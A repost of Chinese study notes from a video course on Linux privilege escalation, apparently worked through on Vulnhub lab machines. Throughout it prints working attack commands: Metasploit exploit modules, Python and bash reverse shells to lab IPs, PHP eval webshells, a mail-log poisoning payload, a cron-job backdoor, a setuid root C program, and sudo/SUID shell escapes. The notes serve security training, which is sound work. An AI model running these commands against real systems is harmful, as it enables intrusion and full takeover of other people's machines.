小迪安全笔记—最新B站视频笔记-Linux 提权-上

admin 2025年1月28日14:16:31评论12 views字数 11089阅读36分57秒阅读模式

 

概括

Linux提权:

1、内核溢出提权

2、suid、sudo、nfs、path、ld_preload、cron、lxd、capability、rbash等

3、数据库类型提权

138-权限提升-Linux系统权限提升篇&内核溢出&辅助项目&Vulnhub靶场&Dcow&Pwnkit&Dirty

信息收集

#信息收集当前主机的操作系统hostnamectlcat /etc/*-releaselsb_release -acat /etc/lsb-release # Debaincat /etc/redhat-release # Redhatcat /etc/centos-release # Centoscat /etc/os-release # Ubuntucat /etc/issue当前主机的内核版本hostnamectluname -uname -rcat /proc/versiondmesg | grep "Linux version"
#内核漏洞筛选:MSF检测:run post/multi/recon/local_exploit_suggester提权脚本:https://github.com/liamg/traitorhttps://github.com/The-Z-Labs/linux-exploit-suggesterhttps://github.com/jondonas/linux-exploit-suggester-2https://github.com/belane/linux-soft-exploit-suggester综合脚本:https://github.com/carlospolop/PEASS-nghttps://github.com/diego-treitos/linux-smart-enumerationhttps://github.com/redcode-labs/Basharkhttps://github.com/rebootuser/LinEnum#应用场景:获取到Web权限在Linux服务器上时进行的内核漏洞提权#常见内核漏洞案例:dirtycow(CVE-2016-5159Pwnkit (CVE-2021-4034)DirtyPipe(CVE-2022-0847)SUDO (CVE-2021-3156大脏牛 (CVE-20171000405)CVE-2017-16995CVE-2021-3560CVE-2023-1829CVE-2022-2588CVE-2021-3493CVE-2022-32250CVE-2023-3269CVE-2022-0995CVE-2022-2639CVE-2023-0386...

Linux系统提权-Web&内核溢出-Dcow

复现环境:https://www.vulnhub.com/entry/lampiao-1,249/1、信息收集:nmap -p1-65535 192.168.139.0/242、Web漏洞利用:search drupaluse exploit/unix/webapp/drupal_drupalgeddon2set rhost 192.168.46.144set rport 1898run3、内核提权:upload /root/linux-exploit-suggester.sh /tmp/1.shshellcd /tmpchmod +x 1.sh./1.shhttps://github.com/gbonacini/CVE-2016-5195upload /root/dcow.cpp /tmp/dcow.cppg++ -Wall -pedantic -O2 -std=c++11 -pthread -o dcow dcow.cpp -lutilpython -c 'import pty; pty.spawn("/bin/bash")'./dcowsu root

信息收集

小迪安全笔记—最新B站视频笔记-Linux 提权-上

端口扫描

对 192.168.1.3 进行全端口扫描,发现有 1898端口

小迪安全笔记—最新B站视频笔记-Linux 提权-上

Drupal的cms漏洞getshell(配合msf)

search drupaluse exploit/unix/webapp/drupal_drupalgeddon2set rhost 192.168.46.144set rport 1898run
这里仅仅获取了web权限,没有获取这个主机的权限(root权限)flag用root权限才能看

小迪安全笔记—最新B站视频笔记-Linux 提权-上

内核提权

upload /root/linux-exploit-suggester.sh /tmp/1.shshellcd /tmp lschmod +x 1.sh./1.shhttps://github.com/gbonacini/CVE-2016-5195upload /root/1.cpp /tmp/1.cppg++ -Wall -pedantic -O2 -std=c++11 -pthread -o 1 1.cpp -lutil尽量用的是受害者C++环境编写,如果没有就最好知道对方什么系统什么版本,用对应的版本去编写一个,容易搞定python -c 'import pty; pty.spawn("/bin/bash")'./dcowsu root
通过脚本找到 提权漏洞

找到对应漏洞去网上找到对应的poc利用代码

小迪安全笔记—最新B站视频笔记-Linux 提权-上

成功拿下root权限

meterpreter > shellProcess27669 created.Channel6 created.cd /tmpls1.cpp1.sh2.shtmux-33g++ -Wall -pedantic -O2 -std=c++11 -pthread -o 11.cpp -lutil                  ls11.cpp1.sh2.shtmux-33python -c 'import pty; pty.spawn("/bin/bash")'www-data@lampiao:/tmpididuid=33(www-data) gid=33(www-data) groups=33(www-data)www-data@lampiao:/tmp./1./1Running ...Received su prompt (Password: )Root password is:   dirtyCowFunEnjoy:-)www-data@lampiao:/tmpsu root su root Password: dirtyCowFunroot@lampiao:/tmp# ididuid=0(root) gid=0(root) groups=0(root)
小迪安全笔记—最新B站视频笔记-Linux 提权-上

Linux系统提权-Web&内核溢出-Pwnkit

复现环境:https://www.vulnhub.com/entry/darkhole-1,724/1、信息收集:nmap -p1-65535 192.168.139.0/242、Web漏洞利用:重置管理密码-上传1.phtml-反弹MSFuse exploit/multi/handlerset payload php/meterpreter/reverse_tcpset lhost 0.0.0.0set lport 6666run3、内核提权upload /root/linux-exploit-suggester.sh /tmp/1.shshellcd /tmpchmod +x 1.sh./1.shsearch cve_2021_4034use exploit/linux/local/cve_2021_4034_pwnkit_lpe_pkexecset session xrungetuidshellcd /rootcat root.txt

逻辑漏洞拿下管理员账号

小迪安全笔记—最新B站视频笔记-Linux 提权-上
小迪安全笔记—最新B站视频笔记-Linux 提权-上

拿下受害者主机

小迪安全笔记—最新B站视频笔记-Linux 提权-上

反弹shell给到kali中的msf

小迪安全笔记—最新B站视频笔记-Linux 提权-上

内核提权

upload /root/linux-exploit-suggester.sh /tmp/1.shshellcd /tmpchmod +x 1.sh./1.sh利用漏洞search cve_2021_4034use exploit/linux/local/cve_2021_4034_pwnkit_lpe_pkexecset session xrungetuidshellcd /rootcat root.txt
利用提权脚本检测到提权的漏洞

小迪安全笔记—最新B站视频笔记-Linux 提权-上

利用漏洞poc去干

小迪安全笔记—最新B站视频笔记-Linux 提权-上

Linux系统提权-Web&内核溢出-DirtyPipe

https://www.vulnhub.com/entry/matrix-breakout-2-morpheus,757/

1、信息收集:nmap -p1-65535 192.168.139.0/242、Web漏洞利用扫描发现-抓包分析-文件写入-反弹MSFgobuster dir -u http://192.168.139.146 -x php,bak,txt,html -w /usr/share/dirbuster/wordlists/directory-list-2.3-medium.txtmessage=<?php eval($_POST["pass"]);?>&file=xd.phpuse exploit/multi/handlerset payload php/meterpreter/reverse_tcpset lhost 0.0.0.0set lport 6666run3、内核提权upload /root/linux-exploit-suggester.sh /tmp/1.shshellcd /tmpchmod +x 1.sh./1.shsearch cve_2022_0847use exploit/linux/local/cve_2022_0847_dirtypipeset session xset lhost xx.xx.xx.xxrun
这个靶场我就不演示了提权一样的思路

#补充

CVE-2023-0386

<a "https:="" href="https://mp.weixin.qq.com/s?__biz=MzkwODM3NjIxOQ==&mid=2247493515&idx=1&sn=947b681ab18278be720c8e87a278479e&scene=21#wechat_redirect">https://mp.weixin.qq.com/s/Z6sVuMrYMZV8WD6z1-U95Q

139-权限提升-Linux系统权限提升篇&Vulnhub&辅助项目&SUID权限&SUDO指令&版本漏洞

总结

suid  web用户和普通用户 入口提权

sudo 普通用户  入口提权  web用户没有使用这个命令的权限

应用场景:

获取到Web权限或普通用户在Linux服务器上时进行的SUID&SUDO提权SUID (Set owner UserID up on execution)是给予文件的一个特殊类型的文件权限Linux/Unix中,当一个程序运行的时候,程序将从登录用户处继承权限。SUID被定义为给予一个用户临时的(程序/文件)所有者的权限来运行一个程序/文件。用户在执行程序/文件/命令的时候,将获取文件所有者的权限以及所有者的UID和GID。SUDO权限是root把本来只能超级用户执行的命令赋予普通用户执行,系统管理员集中的管理用户使用权限和使用主机,配置文件:/etc/sudoers,除此配置之外的问题,SUDO还有两个CVE漏洞(CVE-2019-14287CVE-2021-3156

Linux系统提权-Web&用户-Suid

原理解释

除了find这个能够执行命令,还有很多命令能够执行命令

#利用参考:

https://gtfobins.github.io/

小迪安全笔记—最新B站视频笔记-Linux 提权-上
小迪安全笔记—最新B站视频笔记-Linux 提权-上
环境:https://www.vulnhub.com/entry/dc-1,292/命令:SUID GUIDfind / -perm -u=s -type f 2>/dev/nullfind / -perm -g=s -type f 2>/dev/null项目:LinEnum PEASS-ng/usr/bin/find . -exec'whoami' ;2、SUID&SUDO环境:https://www.vulnhub.com/entry/toppo-1,245/搭建:创建任意虚拟机,然后将toppo.vmdx文件改名并替换原来的vmdx文件SUID:/usr/bin/python2.7 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.139.141",6666));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'

拿下权限 (和前面几个实验操作基本一样就不演示了)

小迪安全笔记—最新B站视频笔记-Linux 提权-上

找到权限提升漏洞点

小迪安全笔记—最新B站视频笔记-Linux 提权-上

也可以手工查找这些东西

find / -perm -u=s -type f 2>/dev/null
小迪安全笔记—最新B站视频笔记-Linux 提权-上

利用找到find 协议 去验证一下

/usr/bin/find . -exec'/bin/sh' ;
小迪安全笔记—最新B站视频笔记-Linux 提权-上

Linux系统提权-Web&用户-Suid&SUDO

环境:https://www.vulnhub.com/entry/toppo-1,245/

搭建:创建任意虚拟机,然后将toppo.vmdx文件改名并替换原来的vmdx文件

SUID:

/usr/bin/python2.7 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.139.141",6666));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'

信息收集

小迪安全笔记—最新B站视频笔记-Linux 提权-上

上传提权脚本&扫描提权漏洞

小迪安全笔记—最新B站视频笔记-Linux 提权-上
小迪安全笔记—最新B站视频笔记-Linux 提权-上

这里我们用找到的python

反弹命令这个命令继承就是赋予这个mawk的权限,所以这个反弹shell就是管理员权限

小迪安全笔记—最新B站视频笔记-Linux 提权-上

Linux系统提权-普通用户-Sudo

需要普通用户提权

原理解释

管理员:sudo find  就说明 find 就已经超管 执行结果就是 是root执行权限为了方便 这个时候 find加到配置文件 当再次使用find 默认就是 sudo find 配置在哪里?SUDO:sudo -lcat /etc/sudoers/usr/bin/awk 'BEGIN {system("/bin/sh")}'

还是上面那个靶场

cat /etc/sudoers
说明awk能被 root执行

小迪安全笔记—最新B站视频笔记-Linux 提权-上

利用提权命令

/usr/bin/awk 'BEGIN {system("/bin/sh")}'
小迪安全笔记—最新B站视频笔记-Linux 提权-上

Linux系统提权-普通用户-Sudo(cve 2019)

这个sudo需要普通用户

2、SUDO-CVE环境:https://www.vulnhub.com/entry/devguru-1,620/-信息收集:80,8585http://192.168.139.150/.git/http://192.168.139.150/adminer.phphttp://192.168.139.150/backend/backend/authhttp://192.168.139.150:8585/http://192.168.139.150:8585/admin-git泄漏(利用点)python GitHack.py http://192.168.139.150/.git/-访问管理(Web入口):adminer.php 添加用户名密码 登录后台 模版 写入ShellfunctiononStart(){//蚁剑连接eval($_POST["pass"]);}-找备份寻突破(升权):/var/backup/app.ini.bak 修改用户密码 登录后台 写入反弹bash -c "exec bash -i >& /dev/tcp/192.168.139.141/5555 0>&1"-利用sudo提权(cve):sudo -lsudo -u#-1 sqlite3 /dev/null '.shell /bin/sh'git源码泄露 => 找到数据库密码,登入 => 找到cms后台用户密码,改为已知密码 => 登入cms后台,写shell(低权限)gitea数据库配置备份文件泄露 => 连接gitea数据库,找到gitea的用户密码 => 登入gitea,写shell(更高权限) => 提权。

信息收集

小迪安全笔记—最新B站视频笔记-Linux 提权-上

敏感路径

8585端口http://192.168.1.9:8585/admin --> /user/login80端口http://192.168.1.9/.git/http://192.168.1.9/adminer.phphttp://192.168.1.9/backend/backend/auth
当我看到有mysql服务,我第一反应是想到mysql提权,但是呢这个ip未开放3306端口或者别的,这关可能是采用站库分离的实际情况。所以说,mysql服务器不在这个IP地址上

小迪安全笔记—最新B站视频笔记-Linux 提权-上

git源码提取

小迪安全笔记—最新B站视频笔记-Linux 提权-上
小迪安全笔记—最新B站视频笔记-Linux 提权-上

添加管理员用户

小迪安全笔记—最新B站视频笔记-Linux 提权-上
小迪安全笔记—最新B站视频笔记-Linux 提权-上

网上搜索这个cms网站找到后台拿shell的方法

小迪安全笔记—最新B站视频笔记-Linux 提权-上

提升权限(先不用suid先用sudo方法尝试)

发现这个web权限 所以sudo提权这个方法在这个getshell是行不通的。

小迪安全笔记—最新B站视频笔记-Linux 提权-上

接下来用提权脚本查看一下有没有什么敏感信息

找到sudo 一个cve漏洞,但是web权限无法利用这个漏洞,因为make命令没有这个权限

小迪安全笔记—最新B站视频笔记-Linux 提权-上

按正常的 用https://github.com/carlospolop/PEASS-ng这个脚本是能找到一些敏感信息,但是这个 反弹shell不太行

小迪安全笔记—最新B站视频笔记-Linux 提权-上

换另一个人登入进去

修改密码网站

小迪安全笔记—最新B站视频笔记-Linux 提权-上

拿到http://192.168.1.9:8585/admin这个网站shell

网上搜索这个cms网站找到后台拿shell的方法

小迪安全笔记—最新B站视频笔记-Linux 提权-上

最终提权 sudo cve绕过

sudo -lsudo sqlite3 /dev/null'.shell /bin/sh'
小迪安全笔记—最新B站视频笔记-Linux 提权-上

终于

小迪安全笔记—最新B站视频笔记-Linux 提权-上

Linux系统提权-普通用户-SUDO-CVE(2021)

环境:kali2020sudo: 1.8.2 - 1.8.31p2sudo: 1.9.0 - 1.9.5p1-判断:sudoedit -s / 报错存在-利用:git clone https://github.com/blasty/CVE-2021-3156.gitcd CVE-2021-3156makechmod a+x sudo-hax-me-a-sandwich./sudo-hax-me-a-sandwich 0

140-权限提升-Linux系统权限提升篇&Vulnhub&PATH变量&NFS服务&Cron任务&配合SUID

Linux系统提权-Web&用户-Cron任务

https://www.vulnhub.com/entry/jarbas-1,232/

提升条件:Web或用户权限进行查看,任务文件可修改

1、信息收集:

http://192.168.139.152/access.html

2、权限获取:

http://192.168.139.152:8080/

Jenkins创建任务,添加反弹,立即构建

3、权限提升:

cat /etc/crontab

cat /etc/script/CleaningScript.sh #查看脚本内容

ls -lia /etc/script/CleaningScript.sh #查看对任务文件的权限

echo "/bin/bash -i >& /dev/tcp/192.168.139.141/66 0>&1" >> /etc/script/CleaningScript.sh

信息收集

小迪安全笔记—最新B站视频笔记-Linux 提权-上
小迪安全笔记—最新B站视频笔记-Linux 提权-上

开放另一个端口

小迪安全笔记—最新B站视频笔记-Linux 提权-上

利用网上提到到版本漏洞getshell

小迪安全笔记—最新B站视频笔记-Linux 提权-上

权限提升

cat /etc/crontab   查看计时任务 cat /etc/script/CleaningScript.sh #查看脚本内容ls -lia /etc/script/CleaningScript.sh #查看对任务文件的权限echo "/bin/bash -i >& /dev/tcp/192.168.139.141/66 0>&1">>/etc/script/CleaningScript.sh  将反弹shell给到 计时任务中,因为这个计时任务是管理员写的,所以被触发,反弹过来的shell也是管理员权限
小迪安全笔记—最新B站视频笔记-Linux 提权-上

Linux系统提权-用户-PATH变量(一般web用户不能)

https://www.vulnhub.com/entry/symfonos-1,322/

提升条件:存在SUID的应用中能可逆向出执行命令,加用户权限

补充:

Microsoft-ds通常指的是Windows操作系统中用于SMB(Server Message Block)协议的端口445/tcp。这个服务允许不同计算机之间进行文件和打印机共享,以及远程执行命令等操作。然而,历史上该服务及其相关协议在不同的Windows版本中暴露了多个安全漏洞。开放的端口 445 (配合永恒之蓝)

信息收集

开放了 445端口

smbclient -L 192.168.139.153

权限获取

smbclient //192.168.139.153/anonymouslsget attention.txt尝试过后 helios  qwertysmbclient //192.168.139.153/helios -U helios
小迪安全笔记—最新B站视频笔记-Linux 提权-上
小迪安全笔记—最新B站视频笔记-Linux 提权-上

漏洞利用

nuclei.exe -u http://192.168.1.8/h3l105/ 漏洞扫描
小迪安全笔记—最新B站视频笔记-Linux 提权-上

利用文件包含漏洞getshell

telnet 192.168.1.825MAIL FROM: MALABISRCPT TO: heliosdata<?phpsystem($_GET['shell']); ?>.QUIThttp://192.168.1.8/h3l105/wp-content/plugins/mail-masta/inc/campaign/count_of_send.php?pl=/var/mail/helios&shell=nc -e /bin/sh 192.168.1.5 5566  (用我这个可以)python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.139.128",8888));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
利用开放的邮件端口,去文件包含这个文件,从而getshell

命令执行

小迪安全笔记—最新B站视频笔记-Linux 提权-上

反弹shell

小迪安全笔记—最新B站视频笔记-Linux 提权-上

权限提升配合suid

python -c 'import pty;pty.spawn("/bin/bash")'  开启一个终端 更方便把,后续我有试了一下 开不开都可以 find / -perm -u=s -type f 2>/dev/null  这个利用 suid 这个漏洞strings /opt/statuscheck    查看这个二进制文件  发现里面有 curl (我们可以尝试修改 curl PATH路径 )如果我修改了 curl 的PATH路径 那么执行这个二进制文件,这个文件触发curl命令 是不是就执行 我设置好PATHcd /tmp          来到 tmp目录echo"/bin/sh" > curl       赋予curl文件 开启终端 功能chmod 777 curl                  赋予 curl文件 777 最高权限export PATH=/tmp:$PATH           将curl的环境变量修改为我想设定的环境变量路径echo$PATH                              查看环境变量 是否设置成功/opt/statuscheck
拿下

小迪安全笔记—最新B站视频笔记-Linux 提权-上

Linux系统提权-Web&用户-NFS安全

NFS是一种基于TCP/IP 传输的网络文件系统协议,通过使用NFS协议,客户机可以像访问本地目录一样访问远程服务器中的共享资源。(类似于百度网盘)

https://www.virtualbox.org/wiki/Downloads

https://www.vulnhub.com/entry/hacksudo-2-hackdudo,667/

提升条件:NFS服务开启和web或用户权限进行利用

信息收集:

nmap 192.168.1.6

http://192.168.1.6/file.php?file=/etc/passwd 找到web 漏洞点

NFS服务利用

相当于百度网盘  就是你手机上传一个文件  你的电脑百度网盘 也就有了这个文件  但是不同的是  不是同一个人  是两个人,这样给了黑客机会(文件共享)

showmount -e 192.168.1.6mkdir nfsmount -t nfs 192.168.1.6:/mnt/nfs ./nfs用哥斯拉 生成一个 sehll.php 文件chmod 777 shell.php    放上去 的话 这个权限是继承关系 后续用到的 suid 也是这个道理  这样才能getshell链接上去http://192.168.1.6/file.php?file=/mnt/nfs/shell.php  用 格拉斯 去访问这个php文件  拿到 webshell权限

配合SUID提权

第一种方法

(前提目标主机和攻击主机差不多的系统,不然的  find 命令 在不同主机 是不适用的,就好比 15年安卓手机 和 25年安卓手机 使用 微信视频功能 可能是不兼容的,所以就需要这个前提 ,如何解决,用到方法二 )

思路就是  进入 NFS目录  把主机上那些 SUID 权限提升能够执行命令的 命令 传到 NFS上, 然后并赋予这个文件 执行权限 和 SUID权限

cd /root/nfscp /usr/bin/find xiaobao chmod 777 xiaobao chmod +s xiaobao   给xiaobao SUID 权限 然后再哥斯拉 命令终端中查找 找到  xiaobao 这个 SUID  因为 你上传过来的find 就是你用你主机root用户上传的 所以继承到 NFS中再用 find 提权就行  

第二种方法

注意gcc编译机器与目标机内核版本相似

执行命令的c文件

#include<stdlib.h>#include<unistd.h>int main(){setuid(0);system("id");system("/bin/bash");}
操作步骤

gcc getroot.c -o getroot将c文件编译cp getroot /root/nfs #复制bash到挂载目录下chmod +s getroot #赋予suid权限find / -perm -u=s -type f 2>/dev/null 再看看是否加入cd /mnt/nfs # 目标机./getroot # 目标机

感谢阅读谢谢,嵩艺感谢大家的支持。后续还有我的笔记尽情期待。

网络安全学习者们,一同进步,加油各位,未来可期

今天圈内还挺热闹,但迪总yyds

原文始发于微信公众号(嵩艺):小迪安全笔记—最新B站视频笔记-Linux 提权-上

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2025年1月28日14:16:31
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   小迪安全笔记—最新B站视频笔记-Linux 提权-上https://cn-sec.com/archives/3683212.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息